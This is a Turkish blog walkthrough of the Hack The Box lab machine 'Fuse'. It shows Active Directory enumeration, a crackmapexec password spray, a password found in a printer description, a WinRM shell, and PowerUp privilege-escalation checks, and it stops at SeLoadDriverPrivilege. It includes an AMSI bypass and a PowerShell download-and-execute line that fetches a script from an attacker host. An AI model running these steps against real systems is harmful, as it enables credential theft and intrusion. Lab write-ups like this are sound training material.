İçeriğe geç

Fuse

Makine Adı Seviye OS Logo
Fuse - HTB Zor Windows

Walkthrough

nmap taraması:

Not shown: 65514 filtered ports                                                                                                                                                                                                               
PORT      STATE SERVICE      VERSION                                                                                                                                                                                                          
53/tcp    open  domain       Simple DNS Plus                                                                                                                                                                                                  
80/tcp    open  http         Microsoft IIS httpd 10.0                                                                                                                                                                                         
| http-methods:                                                                                                                                                                                                                               
|_  Potentially risky methods: TRACE                                                                                                                                                                                                          
|_http-server-header: Microsoft-IIS/10.0                                                                                                                                                                                                      
|_http-title: Site doesn't have a title (text/html).                                                                                                                                                                                          
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-09-28 19:33:25Z)                                                                                                                                                   
135/tcp   open  msrpc        Microsoft Windows RPC                                                                                                                                                                                            
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn                                                                                                                                                                                    
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)                                                                                                                 
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)                                                                                                                                           
464/tcp   open  kpasswd5?                                                                                                                                                                                                                     
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0                                                                                                                                                                              
636/tcp   open  tcpwrapped                                                                                                                                                                                                                    
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)                                                                                                                 
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49675/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc        Microsoft Windows RPC
49678/tcp open  msrpc        Microsoft Windows RPC
49703/tcp open  msrpc        Microsoft Windows RPC
49757/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|2012|2008|10 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_10:1607
Aggressive OS guesses: Microsoft Windows Server 2016 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows 10 1607 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows

Makinenin bir DC olduğu anlaşılıyor. Ayrıca 80. portta bir internet sayfası var. PaperCut isimli bir sayfa. Bu sayfaya gittiğimizde farklı tariglere ait printer logları olduğunu götdüm ve burdaki kullanıcı isimlerini kullnarak ilk başta aspreroast saldırısı denedim ancak başarılı olamadım. İşte elde ettiğim kullanıcılar:

┌──(root💀kali)-[~/10.10.10.193]
└─# cat printer_users 
pmerton
tlavel
sthompson
bhult
administrator

Bu kullanıcılardan bazılarını bulduğum sayfa: http://fuse.fabricorp.local/papercut/logs/html/papercut-print-log-2020-06-10.htm

Uzun bir süre inceleme yaptım ancak hiç birşey bulamadım bunun üzerine smb bruteforce denemesi yapmaya karar verdim. İlk başta fastcrack.txt dosyasını denedim anak başarılı olamadım. Bunun üzerine internet sayfasındaki kelimelerden bir wordlist oluşturdum.


┌──(root💀kali)-[~/10.10.10.193]
└─# cewl -w wordlist --with-numbers -m 6 -d 3 http://fuse.fabricorp.local/papercut/logs/html/index.htm

Öncesinde kerbrute aracı ile elde etmiş olduğum user'larında gerçekten var olup olmadıklarını doğruladım.

──(root💀kali)-[/opt]
└─# ./kerbrute_linux_amd64 userenum /root/10.10.10.193/users -d fabricorp.local --dc 10.10.10.193                                                                                                                                         1 ⨯

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 09/28/21 - Ronnie Flathers @ropnop

2021/09/28 18:25:26 >  Using KDC(s):
2021/09/28 18:25:26 >   10.10.10.193:88

2021/09/28 18:25:26 >  [+] VALID USERNAME:       [email protected]
2021/09/28 18:25:26 >  [+] VALID USERNAME:       [email protected]
2021/09/28 18:25:26 >  [+] VALID USERNAME:       [email protected]
2021/09/28 18:25:26 >  [+] VALID USERNAME:       [email protected]
2021/09/28 18:25:26 >  [+] VALID USERNAME:       [email protected]
2021/09/28 18:25:26 >  Done! Tested 5 usernames (5 valid) in 0.075 seconds

┌──(root💀kali)-[~/10.10.10.193]                                                                                       
└─# crackmapexec smb 10.10.10.193 -u users -p wordlist                                                                 
SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)                                                                               
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:PaperCut STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:LETTER STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:DUPLEX STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:GRAYSCALE STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Logger STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:papercut STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Notepad STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:sthompson STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:LONWK019 STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Copies STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Printer STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Document STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Client STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Duplex STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Grayscale STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Software STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Copyright STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Location STATUS_LOGON_FAILURE                                                                                                                                 
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:NotepadLETTER STATUS_LOGON_FAILURE     
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Language STATUS_LOGON_FAILURE 
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:NotepadLETTER STATUS_LOGON_FAILURE                                                                                                                    [52/145]
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Language STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Height STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Refresh STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:printing STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:logging STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:International STATUS_LOGON_FAILURE     
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:pmerton STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Starter STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:bnielson STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:JUMP01 STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:tlavel STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Budget STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Meeting STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Minutes STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:LONWK015 STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:backup STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:mountain STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:request STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Fabricorp01 STATUS_LOGON_FAILURE       
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:offsite STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:invocation STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:LAPTOP07 STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:administrator STATUS_LOGON_FAILURE     
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:program STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:additional STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:features STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:please STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Follow STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Twitter STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Forbidden STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Access STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:denied STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:listed STATUS_LOGON_FAILURE                                                                                                                                   
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:available STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:software STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:printers STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:locally STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:attached STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:system STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:consider STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:monitoring STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:servers STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:reporting STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:quotas STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:charging STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:secured STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:advanced STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:management STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:website STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Please STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:report STATUS_LOGON_FAILURE                                                                                                                                   
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:inaccurate STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:support STATUS_LOGON_FAILURE
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:inaccurate STATUS_LOGON_FAILURE                                                                                                                        [0/145]
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:support STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:developers STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Developer STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:PaperCutDev STATUS_LOGON_FAILURE       
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Server STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:permission STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:directory STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:credentials STATUS_LOGON_FAILURE       
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:supplied STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:pdfLETTER STATUS_LOGON_FAILURE         
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:WordLETTER STATUS_LOGON_FAILURE        
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\pmerton:Untitled STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:PaperCut STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:LETTER STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:DUPLEX STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:GRAYSCALE STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Logger STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:papercut STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Notepad STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:sthompson STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:LONWK019 STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Copies STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Printer STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Document STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Client STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Duplex STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Grayscale STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Software STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Copyright STATUS_LOGON_FAILURE          
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Location STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:NotepadLETTER STATUS_LOGON_FAILURE      
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Language STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Height STATUS_LOGON_FAILURE                                                                                                                                    
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Refresh STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:printing STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:logging STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:International STATUS_LOGON_FAILURE      
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:pmerton STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Starter STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:bnielson STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:JUMP01 STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:tlavel STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Budget STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Meeting STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Minutes STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:LONWK015 STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:backup STATUS_LOGON_FAILURE             
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:mountain STATUS_LOGON_FAILURE           
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:request STATUS_LOGON_FAILURE            
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE 

En sonunda bir parola tespit ettim.

tlavel:Fabricorp01

STATUS_PASSWORD_MUST_CHANGE dediği için parolayı değiştirdim.


┌──(root💀kali)-[~/10.10.10.193]
└─# smbpasswd -r 10.10.10.193 -U tlavel                                                                            1 ⨯
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on 10.10.10.193.

Ancak yaptığım testler sonucu içeride bir schedule task olduğunu düşünmeye başladım çünkü parola sürekli sıfırlanıyordu. Hızlıca davranıp rpcclient ile bilgi toplamayaı denedim.


┌──(root💀kali)-[/opt/ldapdomaindump/ldap]                                                                                                                                                                                                    
└─# rpcclient -U "tlavel" -p 'Password2' 10.10.10.193                                                             1 ⨯  
Enter WORKGROUP\tlavel's password:                                                                                                                                                                                                            
rpcclient $> enumdomusers                                                                                              
user:[Administrator] rid:[0x1f4]                                                                                       
user:[Guest] rid:[0x1f5]                                                                                               
user:[krbtgt] rid:[0x1f6]                                                                                              
user:[DefaultAccount] rid:[0x1f7]                                                                                      
user:[svc-print] rid:[0x450]                                                                                           
user:[bnielson] rid:[0x451]                                                                                            
user:[sthompson] rid:[0x641] 
user:[tlavel] rid:[0x642]       
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
rpcclient $> queryuser  0x450
        User Name   :   svc-print
        Full Name   :                                                                                                  
        Home Drive  :                                                                                                  
        Dir Drive   :                                                                                                  
        Profile Path:                                                                                                  
        Logon Script:                                                                                                  
        Description :                                                                                                  
        Workstations:      
        Comment     :        
        Remote Dial :        
        Logon Time               :      Tue, 28 Sep 2021 19:08:01 EDT
        Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST
        Kickoff Time             :      Wed, 31 Dec 1969 19:00:00 EST
        Password last set Time   :      Sat, 30 May 2020 20:27:08 EDT
        Password can change Time :      Sun, 31 May 2020 20:27:08 EDT
        Password must change Time:      Wed, 13 Sep 30828 22:48:05 EDT
        unknown_2[0..31]...
        user_rid :      0x450
        group_rid:      0x201
        acb_info :      0x00000210    
        fields_present: 0x00ffffff                                                                                                                                                                                                            
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000077
        bad_password_count:     0x00000000                                                                                                                                                                                             [0/125]
        logon_count:    0x00000077       
        padding1[0..7]...                                                                                                                                                                                                                     
        logon_hrs[0..21]...               
rpcclient $> querydispinfo                                                                                             
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain                                                                                                  
index: 0x109c RID: 0x1db2 acb: 0x00000210 Account: astein       Name: (null)    Desc: (null)                           
index: 0x1099 RID: 0x1bbd acb: 0x00020010 Account: bhult        Name: (null)    Desc: (null)                           
index: 0x1092 RID: 0x451 acb: 0x00020010 Account: bnielson      Name: (null)    Desc: (null)                           
index: 0x109a RID: 0x1bbe acb: 0x00000211 Account: dandrews     Name: (null)    Desc: (null)                          
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null)    Desc: A user account managed by the system.                                                                                                                   
index: 0x109d RID: 0x1db3 acb: 0x00000210 Account: dmuir        Name: (null)    Desc: (null)                           
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain                                                                                                        
index: 0xff4 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account  
index: 0x109b RID: 0x1db1 acb: 0x00000210 Account: mberbatov    Name: (null)    Desc: (null)                           
index: 0x1096 RID: 0x643 acb: 0x00000210 Account: pmerton       Name: (null)    Desc: (null)                           
index: 0x1094 RID: 0x641 acb: 0x00000210 Account: sthompson     Name: (null)    Desc: (null)                           
index: 0x1091 RID: 0x450 acb: 0x00000210 Account: svc-print     Name: (null)    Desc: (null)                           
index: 0x1098 RID: 0x645 acb: 0x00000210 Account: svc-scan      Name: (null)    Desc: (null)                           
index: 0x1095 RID: 0x642 acb: 0x00020010 Account: tlavel        Name: (null)    Desc: (null)                           
rpcclient $> queryuser  0x645
        User Name   :   svc-scan
        Full Name   :     
        Home Drive  :      
        Dir Drive   :    
        Profile Path:       
        Logon Script:        
        Description :     
        Workstations:    
        Comment     :        
        Remote Dial :            
        Logon Time               :      Wed, 31 Dec 1969 19:00:00 EST                                                  
        Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST                                                  
        Kickoff Time             :      Wed, 31 Dec 1969 19:00:00 EST                                                  
        Password last set Time   :      Sat, 30 May 2020 20:27:31 EDT                                                  
        Password can change Time :      Sun, 31 May 2020 20:27:31 EDT                                                  
        Password must change Time:      Wed, 13 Sep 30828 22:48:05 EDT                                                 
        unknown_2[0..31]...
        user_rid :      0x645
        group_rid:      0x201
        acb_info :      0x00000210                                                                                     
        fields_present: 0x00ffffff                                                                                     
        logon_divs:     168                                                                                            
        bad_password_count:     0x00000000                                                                             
        logon_count:    0x00000000                                                                                     
        padding1[0..7]...                                                                                              
        logon_hrs[0..21]...
rpcclient $> enumprinters    
        flags:[0x800000]     
        name:[\\10.10.10.193\HP-MFT01]
        description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]                                                                                                               
        comment:[]         

Görüldüğü üzere $fab@s3Rv1ce$1 şelinde bir parola elde ettik. Bu parolaı bütün kullanıcılara denedim.


┌──(root💀kali)-[~/10.10.10.193]
└─# cat users                                             
Administrator
Guest
krbtgt
DefaultAccount
svc-print
bnielson
sthompson
tlavel
pmerton
svc-scan
bhult
dandrews
mberbatov
astein
dmuir

┌──(root💀kali)-[~/10.10.10.193]
└─# crackmapexec smb 10.10.10.193 -u users -p '$fab@s3Rv1ce$1'                  
SMB         10.10.10.193    445    FUSE             [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\Administrator:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE 
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\Guest:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE 
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\krbtgt:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE 
SMB         10.10.10.193    445    FUSE             [-] fabricorp.local\DefaultAccount:$fab@s3Rv1ce$1 STATUS_LOGON_FAILURE 
SMB         10.10.10.193    445    FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 

Harika! winrm kontrolü gerçekleştirelim.


┌──(root💀kali)-[~/10.10.10.193]
└─# crackmapexec winrm 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'                                                                                                                                                                         
WINRM       10.10.10.193    5985   FUSE             [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM       10.10.10.193    5985   FUSE             [*] http://10.10.10.193:5985/wsman
WINRM       10.10.10.193    5985   FUSE             [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)

Artık makineye bağlanabiliriz.


┌──(root💀kali)-[~]                                                                                                                                                                                                                           
└─# evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'                                                                                                                                                                               

Evil-WinRM shell v3.3                                                                                                                                                                                                                                                                                                                                                                                                                     
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                                                  
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                                                                                    
Info: Establishing connection to remote endpoint                                                                                                                                                                                                                         
*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami
fabricorp\svc-print

Daha sonrasında flagimi okudum ve inceleme yapmaya başladım.

*Evil-WinRM* PS C:\Users\svc-print\Documents> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\Users\svc-print\Documents> iex ((New-Object Net.WebClient).DownloadString('http://10.10.14.28/PowerUp.ps1'));
*Evil-WinRM* PS C:\Users\svc-print\Documents> Invoke-PrivescAudit

Privilege   : SeLoadDriverPrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 7116
ProcessId   : 4044
Name        : 4044
Check       : Process Token Privileges

Access denied 
At line:2066 char:21
+     $VulnServices = Get-WmiObject -Class win32_service | Where-Object ...
+                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Access denied 
At line:2133 char:5
+     Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pat ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Cannot open Service Control Manager on computer '.'. This operation might require other privileges.
At line:2189 char:5
+     Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeCo ...
+     ~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Get-Service], InvalidOperationException
    + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.GetServiceCommand                                                                                                                                
ModifiablePath    : C:\Users\svc-print\AppData\Local\Microsoft\WindowsApps
IdentityReference : FABRICORP\svc-print
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\svc-print\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\svc-print\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\svc-print\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'                                                                                                                            

DefaultDomainName    : FABRICORP
DefaultUserName      : administrator
DefaultPassword      :
AltDefaultDomainName :
AltDefaultUserName   :
AltDefaultPassword   :
Check                : Registry Autologons

Burdan sonraki olay kolay ancak uzun. Bildiğim bir saldırı olduğu için ve üşendiğim için makineyi yarım bıraktım. Driver yükleme yetkimiz var. Anahtar kelimemiz `SeLoadDriverPrivilege

Kategori:Active DirectoryWalkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir